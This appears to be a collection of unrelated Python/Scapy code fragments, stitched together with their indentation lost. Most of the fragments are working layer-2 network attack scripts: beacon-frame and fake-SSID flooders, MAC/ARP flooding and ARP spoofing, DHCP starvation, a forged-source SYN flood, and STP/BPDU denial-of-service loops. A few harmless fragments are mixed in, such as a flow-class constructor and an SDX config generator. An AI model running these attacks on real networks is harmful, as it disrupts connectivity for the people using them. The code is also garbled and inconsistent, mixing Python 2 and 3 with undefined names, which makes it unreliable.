def generate_packets():
packet_list = [] #initializing packet_list to hold all the packets
for i in xrange(1, 10000):
packet = Ether(src=RandMAC(), dst=RandMAC()) / IP(src=RandIP(),
dst=RandIP())
packet_list.append(packet)
return packet_list
def create_beacon(name, password_protected=False):
dot11 = Dot11(type=0,
subtype=8,
addr1='ff:ff:ff:ff:ff:ff',
addr2=str(RandMAC()),
addr3=str(RandMAC()))
beacon = Dot11Beacon(
cap='ESS+privacy' if password_protected else 'ESS')
essid = Dot11Elt(ID='SSID', info=name, len=len(name))
if not password_protected:
return RadioTap() / dot11 / beacon / essid
rsn = Dot11Elt(ID='RSNinfo',
info=('\x01\x00'
'\x00\x0f\xac\x02'
'\x02\x00'
'\x00\x0f\xac\x04'
'\x00\x0f\xac\x02'
'\x01\x00'
'\x00\x0f\xac\x02'
'\x00\x00'))
return RadioTap() / dot11 / beacon / essid / rsn
def __init__(self, flowdecl=None):
"""constructor for the flow class. accepts a flowdecl (dictionary) with flow info"""
if (type(flowdecl) != dict):
parser_bailout("Flowdecl must be a dictionary.")
try:
self.name = flowdecl['name']
self.proto = flowdecl['proto']
self.src_host = flowdecl['src_host']
self.src_port = flowdecl['src_port']
self.flow = flowdecl['flow']
self.dst_host = flowdecl['dst_host']
self.dst_port = flowdecl['dst_port']
except KeyError:
parser_bailout("Invalid flowdecl passed to Flow.init")
self.src_mac = RandMAC()
self.dst_mac = RandMAC()
self.to_server_seq = random.randint(10000, 99999)
self.to_client_seq = random.randint(10000, 99999)
self.to_server_ack = 0
self.to_client_ack = 0
self.tcp_server_bytes = 0
self.tcp_client_bytes = 0
try:
self.tcp_mss = int(flowdecl['attributes']['mss'])
except KeyError:
self.tcp_mss = 1460
def main():
if len(sys.argv) < 3:
print("usage: %s <interface> <words of name>" % sys.argv[0])
sys.exit(1)
iface = sys.argv[1]
name = ' '.join(sys.argv[2:])
frames = []
for suffix in ap_slander:
ssid = name + ' ' + suffix.upper()
print(ssid)
dot11 = Dot11(type=0,
subtype=8,
addr1='ff:ff:ff:ff:ff:ff',
addr2=str(RandMAC()),
addr3=str(RandMAC()))
beacon = Dot11Beacon(cap='ESS+privacy')
essid = Dot11Elt(ID='SSID', info=ssid, len=len(ssid))
rsn = Dot11Elt(
ID='RSNinfo',
info=(
'\x01\x00' #RSN Version 1
'\x00\x0f\xac\x02' #Group Cipher Suite : 00-0f-ac TKIP
'\x02\x00' #2 Pairwise Cipher Suites (next two lines)
'\x00\x0f\xac\x04' #AES Cipher
'\x00\x0f\xac\x02' #TKIP Cipher
'\x01\x00' #1 Authentication Key Managment Suite (line below)
'\x00\x0f\xac\x02' #Pre-Shared Key
'\x00\x00')) #RSN Capabilities (no extra capabilities)
frame = RadioTap() / dot11 / beacon / essid / rsn
#print("SSID=%-20s %r"%(ssid,frame))
frames.append(frame)
sendp(frames, iface=iface, inter=0.0100 if len(frames) < 10 else 0, loop=1)
def main():
ssids = sys.argv[2:] #Network name here
iface = sys.argv[1] #Interface name here
frames = []
for netSSID in ssids:
print netSSID
dot11 = Dot11(type=0,
subtype=8,
addr1='ff:ff:ff:ff:ff:ff',
addr2=str(RandMAC()),
addr3=str(RandMAC()))
beacon = Dot11Beacon(cap='ESS+privacy')
essid = Dot11Elt(ID='SSID', info=netSSID, len=len(netSSID))
rsn = Dot11Elt(
ID='RSNinfo',
info=(
'\x01\x00' #RSN Version 1
'\x00\x0f\xac\x02' #Group Cipher Suite : 00-0f-ac TKIP
'\x02\x00' #2 Pairwise Cipher Suites (next two lines)
'\x00\x0f\xac\x04' #AES Cipher
'\x00\x0f\xac\x02' #TKIP Cipher
'\x01\x00' #1 Authentication Key Managment Suite (line below)
'\x00\x0f\xac\x02' #Pre-Shared Key
'\x00\x00')) #RSN Capabilities (no extra capabilities)
frame = RadioTap() / dot11 / beacon / essid / rsn
print "SSID=%-20s %r" % (netSSID, frame)
frames.append(frame)
sendp(frames, iface=iface, inter=0.0100 if len(frames) < 10 else 0, loop=1)
def MACFlood():
packet = ARP(op=2,
psrc=RandIP(),
hwsrc=RandMAC(),
pdst=RandIP(),
hwdst=RandMAC())
return packet
def generate_packets():
packet_list = [
] #inicializa uma lista que armazenam todos os pacotes a serem criados.
for i in xrange(1, 10000):
packet = Ether(src=RandMAC(), dst=RandMAC()) / IP(src=RandIP(),
dst=RandIP())
packet_list.append(packet)
return packet_list
def generate_packets(self):
# Initialize list to hold all the packets
packet_list = []
# Create packets with random addresses
for i in xrange(1, 30000):
packet = Ether(src=RandMAC(), dst=RandMAC()) / IP(src=RandIP(),
dst=RandIP())
packet_list.append(packet)
return packet_list
def attack(target_mac,target_ip,gw_ip):
print "[+]Counter Attack !!!"
e = Ether(dst="FF:FF:FF:FF:FF:FF")
while 1:
a = ARP(psrc=RandIP(),pdst=RandIP(),hwsrc=RandMAC(),hwdst=RandMAC(),op=1)
p = e/a/Padding("\x00"*18)
sendp(p,verbose=0)
a1 = ARP(psrc=gw_ip,pdst=target_ip,hwsrc=RandMAC(),hwdst=target_mac,op=2)
p1 = e/a1/Padding("\x00"*18)
sendp(p1,verbose=0)
def macFlood(self, interface, targetip):
""" This method is for mac flooding
Usage: wrb.macFlood(interface='wlan0', targetip='192.168.1.154')
"""
self.interface = interface
self.targetip = targetip
floodPacket = Ether(
src=RandMAC("*:*:*:*:*:*"), dst=RandMAC("*:*:*:*:*:*")) / IP(
src=RandIP("*.*.*.*"), dst=self.targetip) / ICMP()
sendp(floodPacket, iface=self.interface, loop=1)
def __init__(self, flowdecl=None):
"""constructor for the flow class. accepts a flowdecl (dictionary) with flow info"""
if (type(flowdecl) != dict):
parser_bailout("Flowdecl must be a dictionary.")
try:
self.name = flowdecl['name']
self.l3_proto = flowdecl['l3_proto']
self.l4_proto = flowdecl['l4_proto']
self.src_host = flowdecl['src_host']
self.src_port = flowdecl['src_port']
self.flow = flowdecl['flow']
self.dst_host = flowdecl['dst_host']
self.dst_port = flowdecl['dst_port']
except KeyError:
parser_bailout("Invalid flowdecl passed to Flow.init")
self.src_mac = RandMAC()
self.dst_mac = RandMAC()
#set a user-supplied source and destination mac, if provided
if 'src_mac' in flowdecl['attributes']:
logging.debug("Using user-supplied source mac")
smac = flowdecl['attributes']['src_mac'].lower()
if self._valid_mac(smac):
self.src_mac = smac
else:
parser_bailout(
"A src_mac ({}) was explicitly set, but it doesn't appear to be valid."
.format(smac))
if 'dst_mac' in flowdecl['attributes']:
logging.debug("Using user-supplied dest mac")
dmac = flowdecl['attributes']['dst_mac'].lower()
if self._valid_mac(dmac):
self.dst_mac = dmac
else:
parser_bailout(
"A dst_mac ({}) was explicitly set, but it doesn't appear to be valid."
.format(dmac))
self.to_server_seq = random.randint(10000, 99999)
self.to_client_seq = random.randint(10000, 99999)
self.to_server_ack = 0
self.to_client_ack = 0
self.tcp_server_bytes = 0
self.tcp_client_bytes = 0
try:
self.tcp_mss = int(flowdecl['attributes']['mss'])
except KeyError:
self.tcp_mss = 1460
def generate_packets() -> list:
"""Simple packet_list to hold all packets
Args:
None
Return:
list: packet list.
"""
packet_list = []
for i in range(1, 10000):
packet = Ether(src=RandMAC(), dst=RandMAC()) / IP(src=RandIP(),
dst=RandIP())
packet_list.append(packet)
return packet_list
def ssidSpawner(config):
#enable monitor mode and set the channel.
setMonitorMode(config["iface"])
setChannel(str(config["iface"]), config["channel"])
frames = []
while True:
#for netSSID in ssids:
netSSID = id_generator()
print(netSSID)
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',addr2=str(RandMAC()), addr3=str(RandMAC()))
beacon = Dot11Beacon(cap='ESS+privacy')
essid = Dot11Elt(ID='SSID',info=netSSID, len=len(netSSID))
rsn = Dot11Elt(ID='RSNinfo', info=(
'\x01' #RSN Version 1
'\x00\x0f\xac\x02' #Group Cipher Suite : 00-0f-ac TKIP
'\x02\x00' #2 Pairwise Cipher Suites (next two lines)
'\x00\x0f\xac\x04' #AES Cipher
'\x00\x0f\xac\x02' #TKIP Cipher
'\x01\x00' #1 Authentication Key Managment Suite (line below)
'\x00\x0f\xac\x02' #Pre-Shared Key
'\x00\x00')) #RSN Capabilities (no extra capabilities)
frame = RadioTap()/dot11/beacon/essid/rsn
print("SSID=%-20s %r"%(netSSID,frame))
frames.append(frame)
sendp(frames, iface=iface, inter=0.0100 if len(frames)<10 else 0, loop=1)
def main():
ether = Ether(src="ff:ff:ff:ff:ff:ff")
arp = ARP(op="who-has",
psrc=RandIP(),
pdst=RandIP(),
hwsrc=RandMAC(),
hwdst=RandMAC())
pkt = ether / arp
pkt_lst = []
for x in xrange(25):
pkt_lst.append(pkt)
sendp(pkt_lst)
def stormWithBeaconFrames():
global interfaceName
global monitorInterface
log("Starting with storming on interface [{}]".format(interfaceName))
netSSID = 'testSSID' #Network name here
iface = 'wlan0mon' #Interface name here
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=str(RandMAC()), addr3=str(RandMAC()))
beacon = Dot11Beacon(cap='ESS+privacy')
essid = Dot11Elt(ID='SSID',info=netSSID, len=len(netSSID))
rsn = Dot11Elt(ID='RSNinfo', info=(
'\x01\x00' #RSN Version 1
'\x00\x0f\xac\x02' #Group Cipher Suite : 00-0f-ac TKIP
'\x02\x00' #2 Pairwise Cipher Suites (next two lines)
'\x00\x0f\xac\x04' #AES Cipher
'\x00\x0f\xac\x02' #TKIP Cipher
'\x01\x00' #1 Authentication Key Managment Suite (line below)
'\x00\x0f\xac\x02' #Pre-Shared Key
'\x00\x00')) #RSN Capabilities (no extra capabilities)
frame = RadioTap()/dot11/beacon/essid/rsn
frame.show()
print("\nHexdump of frame:")
hexdump(frame)
raw_input("\nPress enter to start\n")
sendp(frame, iface=iface, inter=0.100, loop=1)
def cmd_dhcp_starvation(iface, timeout, verbose):
conf.verb = False
if iface:
conf.iface = iface
conf.checkIPaddr = False
ether = Ether(dst="ff:ff:ff:ff:ff:ff")
ip = IP(src="0.0.0.0", dst="255.255.255.255")
udp = UDP(sport=68, dport=67)
dhcp = DHCP(options=[("message-type", "discover"), "end"])
while True:
bootp = BOOTP(chaddr=str(RandMAC()))
dhcp_discover = ether / ip / udp / bootp / dhcp
ans, unans = srp(dhcp_discover,
timeout=5) # Press CTRL-C after several seconds
for _, pkt in ans:
if verbose:
print(pkt.show())
else:
print(pkt.summary())
def starvation(inter, rolls): for i in range(1, rolls): kill = "kill -9 $(pidof dhclient " + inter + ")" os.system(kill) mac = str(RandMAC()) chmac = "ip l s dev " + inter + " addr " + mac os.system(chmac) dhcp = "dhclient " + inter os.system(dhcp)
def flood_attack():
#Mascaras con las que generar las macs e ips aleatorias
DEFAULT_DIP = '0.0.0.0/0'
DEFAULT_DMAC = 'ff:ff:ff:ff:ff:ff'
DEFAULT_SIP = '0.0.0.0/0'
DEFAULT_SMAC = '*:*:*:*:*:*'
while(True):
srcMac = str(RandMAC(DEFAULT_SMAC))
srcIp = str(RandIP(DEFAULT_SIP))
dstMac = str(RandMAC(DEFAULT_DMAC))
dstIp = str(RandIP(DEFAULT_DIP))
#Construimos el paquete con los datos generados
packet = Ether(src=srcMac, dst=dstMac) / \
ARP(hwsrc=srcMac, psrc=srcIp, pdst=srcIp)
#Enviamos el paquete GARP a broadcast
print('Enviando paquete {} - {}'.format(srcMac, srcIp))
sendp(packet)
time.sleep(0.1)
def get_random_ip6_address(eui64=1,
prefix=get_ip6_address(groups=4, padded=True)):
'''Creates a random ip6 address for a given prefix'''
mac = "%s" % (RandMAC())
(first, second, third, fourth, fifth, sixth) = mac.split(":")
if (eui64):
host = first + second + ":" + third + "ff:" + "fe" + fourth + ":" + fifth + sixth
else:
host = str(RandIP6())[len(RandIP6()) / 2:len(RandIP6())]
return get_ip6_padded(prefix + ":" + host)
def bpdu_dos(iface):
id_list = []
for i in range(9):
id_list.append(i * 4096)
randmac = RandMAC()
ether = Ether(dst=mac_dst,src=randmac)/LLC()
stp = STP(rootid=choice(id_list),rootmac=randmac,bridgeid=choice(id_list),bridgemac=randmac)
pkt = ether/stp
sendp(pkt,iface=iface,loop=1)
def main():
ether = Ether(src=RandMAC())
ip = IP(src="0.0.0.0", dst="255.255.255.255")
udp = UDP(sport=68, dport=67)
bootp = BOOTP(chaddr=RandString(12, "1234567890asdfgs"))
dhcp = DHCP(options=[("message-type", 'discover'), "end"])
pkt = ether / ip / udp / bootp / dhcp
for x in xrange(100000):
sendp(pkt)
def startAttack(selectedManufacturerId=None, packet_count=20000):
packet_list = []
destMAC = "FF:FF:FF:FF:FF:FF"
print('Initiating packet sending')
for i in range(0, packet_count):
packet = Ether(src=getRandomMacAddress(selectedManufacturerId),
dst=RandMAC())
sendp(Ether(src=getRandomMacAddress(selectedManufacturerId),
dst=destMAC) / ARP(op=2, psrc="0.0.0.0", hwdst=destMAC),
verbose=0)
packet_list.append(packet)
return packet_list
def cmd_dhcp_starvation(iface, timeout, sleeptime, verbose):
"""Send multiple DHCP requests from forged MAC addresses to
fill the DHCP server leases.
When all the available network addresses are assigned, the DHCP server don't send responses.
So, some attacks, like DHCP spoofing, can be made.
\b
# habu.dhcp_starvation
Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.6:bootpc / BOOTP / DHCP
Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.7:bootpc / BOOTP / DHCP
Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.8:bootpc / BOOTP / DHCP
"""
conf.verb = False
if iface:
iface = search_iface(iface)
if iface:
conf.iface = iface['name']
else:
logging.error(
'Interface {} not found. Use habu.interfaces to show valid network interfaces'
.format(iface))
return False
conf.checkIPaddr = False
ether = Ether(dst="ff:ff:ff:ff:ff:ff")
ip = IP(src="0.0.0.0", dst="255.255.255.255")
udp = UDP(sport=68, dport=67)
dhcp = DHCP(options=[("message-type", "discover"), "end"])
while True:
bootp = BOOTP(chaddr=str(RandMAC()))
dhcp_discover = ether / ip / udp / bootp / dhcp
ans, unans = srp(dhcp_discover,
timeout=1) # Press CTRL-C after several seconds
for _, pkt in ans:
if verbose:
print(pkt.show())
else:
print(pkt.sprintf(r"%IP.src% offers %BOOTP.yiaddr%"))
sleep(sleeptime)
def cmd_synflood(ip, interface, count, port, forgemac, forgeip, verbose):
conf.verb = False
if interface:
conf.iface = interface
layer2 = Ether()
layer3 = IP()
layer3.dst = ip
layer4 = TCP()
layer4.dport = port
pkt = layer2 / layer3 / layer4
counter = 0
print("Please, remember to block your RST responses", file=sys.stderr)
while True:
if forgeip:
pkt[IP].src = "%s.%s" % (pkt[IP].src.rsplit(
'.', maxsplit=1)[0], randint(1, 254))
if forgemac:
pkt[Ether].src = RandMAC()
pkt[TCP].sport = randint(10000, 65000)
if verbose:
print(pkt.summary())
else:
print('.', end='')
sys.stdout.flush()
sendp(pkt)
counter += 1
if count != 0 and counter == count:
break
return True
def send_probe_req(self, bssid, essid):
"""Send a probe request to the specified AP"""
src = RandMAC() if self.mac is None else self.mac
self.logger.info(
'[!] Sending Broadcast Probe Request: SRC=[%s] -> BSSID: %s ESSID: %s'
% (src, bssid, essid))
param = Dot11ProbeReq()
essid = Dot11Elt(ID='SSID', info=essid)
rates = Dot11Elt(ID='Rates', info="\x03\x12\x96\x18\x24\x30\x48\x60")
dsset = Dot11Elt(ID='DSset', info='\x01')
pkt = RadioTap() / Dot11(
type=0,
subtype=4,
addr1='ff:ff:ff:ff:ff:ff',
addr2=src,
addr3='ff:ff:ff:ff:ff:ff') / param / essid / rates / dsset
try:
sendp(pkt, verbose=0)
except:
return
# raise
#
print("Probing network '%s (%s)'\n" % (bssid, essid))
try:
# Build a probe request packet with a SSID and a WPS information element
dst = mac2str(bssid)
src = mac2str("ff:ff:ff:ff:ff:ff")
packet = Dot11(addr1=dst, addr2=src, addr3=dst) / Dot11ProbeReq()
packet = packet / Dot11Elt(
ID=0, len=len(essid), info=essid) / Dot11Elt(
ID=221,
len=9,
info="%s\x10\x4a\x00\x01\x10" % self.wps_parser.WPS_ID)
# Send it!
send(packet, verbose=0)
# self.probedNets[bssid] = None
except Exception, e:
print 'Failure sending probe request to', essid, ':', e
def send_probe_req(self, essid, bssid, src=None):
if not self.args.active:
return
if src is None:
src = RandMAC()
print(
'[!] Sending 802.11 Probe Request: SRC=[%s] -> BSSID=[%s]\t(%s)' %
(src, bssid, essid))
param = Dot11ProbeReq()
essid = Dot11Elt(ID='SSID', info=essid)
rates = Dot11Elt(ID='Rates', info="\x03\x12\x96\x18\x24\x30\x48\x60")
dsset = Dot11Elt(ID='DSset', info='\x01')
pkt = RadioTap() \
/ Dot11(type=0, subtype=4, addr1=bssid, addr2=src, addr3=bssid) / param / essid / rates / dsset
try:
sendp(pkt, verbose=0)
except:
raise
def run(inter):
"""
This function launch STP TCN ATTACK
:param inter: interface to be launched the attack
:type inter: str
"""
interface = str(inter[0])
if len(interface) > 0:
try:
while 1:
# dst=Ethernet Multicast address used for spanning tree protocol
srcMAC = str(RandMAC()) # Random MAC in each iteration
p_ether = Dot3(dst="01:80:c2:00:00:00", src=srcMAC)
p_llc = LLC()
p_stp = STP(bpdutype=0x80) # TCN packet
pkt = p_ether/p_llc/p_stp # STP packet structure
sendp(pkt, iface=interface, verbose=0)
except KeyboardInterrupt:
pass
def run(inter):
"""
This function launch STP CONF ATTACK
:param inter: interface to be launched the attack
:type inter: str
"""
interface = str(inter[0])
if len(interface) > 0:
try:
while 1:
# Root Identifier 8 bytes (MAC and root priority)
srcMAC = str(RandMAC()) # Random MAC in each iteration
root_prior = int(RandInt()) % 65536 # 2 bytes
# Brigde Identifier (mac and brigde priority)
brigde_prior = int(RandInt()) % 65536 # 2 bytes
# dst=Ethernet Multicast address used for spanning tree protocol
p_ether = Dot3(dst="01:80:c2:00:00:00", src=srcMAC)
p_llc = LLC()
p_stp = STP(bpdutype=0x00,
bpduflags=0x01,
portid=0x8002,
rootmac=srcMAC,
bridgemac=srcMAC,
rootid=root_prior,
bridgeid=brigde_prior) # Conf packet
pkt = p_ether / p_llc / p_stp # STP packet structure
sendp(pkt, iface=interface, verbose=0)
except KeyboardInterrupt:
pass
def run(interface):
"""
This function launch DHCP DISCOVER DOS attack
:param inter: interface to be launched the attack
:type inter: str
"""
if len(interface) > 0:
inter = str(interface[0])
try:
while 1:
src_mac = str(RandMAC())
ethernet = Ether(dst='ff:ff:ff:ff:ff:ff',
src=src_mac,
type=0x800)
ip = IP(src="0.0.0.0", dst="255.255.255.255")
udp = UDP(sport=68, dport=67)
bootps = BOOTP(chaddr=src_mac, ciaddr='0.0.0.0', flags=1)
dhcps = DHCP(options=[("message-type", "discover"), "end"])
packet = ethernet / ip / udp / bootps / dhcps
sendp(packet, iface=inter, verbose=0)
except KeyboardInterrupt:
pass
def main(argv):
config = {"SDXes": dict()}
current_sdx = 1
# local SDX default settings
local_sdx_network = "172.0.0.0/16"
ip_generator = IPAddressGenerator(local_sdx_network)
asn_generator = ASNGenerator()
num_participants = int(argv.num_participants)
config_file = argv.out_path + "global.cfg"
# local SDX config
tmp_sdx = {
"Address": "localhost",
"VNHs": "172.1.1.1/8",
"VMAC Computation": {
"VMAC Size": 10000,
"Superset ID Size": 50,
"Max Superset Size": 9000,
"Best Path Size": 950,
"Superset Threshold": 100
},
"Loop Detector": {
"Port": 2201,
"Max Random Value": 10000
},
"Policy Handler": {
"Address": "localhost",
"Port": 2301
},
"Route Server": {
"IP": "172.1.255.254",
"MAC": "08:00:27:89:33:dd",
"Connection Port": 2301,
"Connection Key": "xrs",
"Interface": "rs1-eth0",
"Fabric Port": 4
},
"Participants": {}
}
for i in range(1, num_participants + 1):
tmp_sdx["Participants"][str(i)] = {
"Ports": [{
"Id": i,
"MAC": str(RandMAC()),
"IP": ip_generator.get_address()
}],
"ASN":
asn_generator.get_asn()
}
if i == 1:
tmp_sdx["Participants"][str(i)]["Peers"] = range(
2, num_participants + 1)
else:
tmp_sdx["Participants"][str(i)]["Peers"] = [1]
config["SDXes"]["1"] = tmp_sdx
# remote SDXes
config["SDXes"]["2"] = {
"Address": "localhost",
"Loop Detector": {
"Port": 9999
},
"Participants": {
"1": {
"ASN": 5000
},
"2": {
"ASN": 5100
}
}
}
config["SDXes"]["3"] = {
"Address": "localhost",
"Loop Detector": {
"Port": 9999
},
"Participants": {
"1": {
"ASN": 6000
},
"2": {
"ASN": 6100
}
}
}
with open(config_file, 'w') as outfile:
json.dump(config, outfile)
